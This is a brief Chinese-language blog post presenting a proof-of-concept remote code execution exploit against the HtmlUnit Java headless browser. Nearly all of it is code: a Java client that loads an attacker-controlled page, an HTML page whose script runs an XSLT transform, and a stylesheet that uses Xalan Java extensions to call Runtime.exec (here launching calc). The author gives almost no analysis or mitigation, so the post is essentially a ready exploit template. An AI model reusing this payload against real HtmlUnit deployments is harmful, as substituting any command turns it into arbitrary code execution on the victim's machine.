HtmlUnit 适用于java的无头浏览器,我其实觉得不算无头浏览器吧更像爬虫,最新版本也可以做到浏览攻击者网页触发RCE
先简单放个图,后面来补
其实真的蛮简单的就不分析了,我那天只是偶尔看了下就找到了,不过最近xslt好像比较火来着呢
Test.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package HtmlUnit;
import com.gargoylesoftware.htmlunit.WebClient; import com.gargoylesoftware.htmlunit.html.HtmlPage;
public class Test {
public static void main(String[] args) throws Exception {
try (final WebClient webClient = new WebClient()) {
final HtmlPage page = webClient.getPage("http://xxx/htmlunit.html"); } } }
|
htmlunit.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <script> function createXmlDocument() { return document.implementation.createDocument('', '', null); } function loadXMLDocumentFromFile(file) { xhttp = new XMLHttpRequest(); xhttp.open("GET", file, false); xhttp.send(); return xhttp.responseXML; } console.log("1");
var xmlDoc = createXmlDocument(); xmlDoc.async = false; xmlDoc = loadXMLDocumentFromFile("1.xml");
var xslDoc = createXmlDocument(); xslDoc.async = false; xslDoc = loadXMLDocumentFromFile("2.xml");
var processor = new XSLTProcessor(); processor.importStylesheet(xslDoc); processor.transformToDocument(xmlDoc); </script>
|
1.xml
1 2
| <?xml version="1.0" encoding="UTF-8"?> <s></s>
|
2.xml
1 2 3 4 5 6 7 8
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"> <xsl:template match="/"> <xsl:variable name="rtobject" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtobject,'calc')"/> <xsl:variable name="processString" select="ob:toString($process)"/> <xsl:value-of select="$processString"/> </xsl:template> </xsl:stylesheet>
|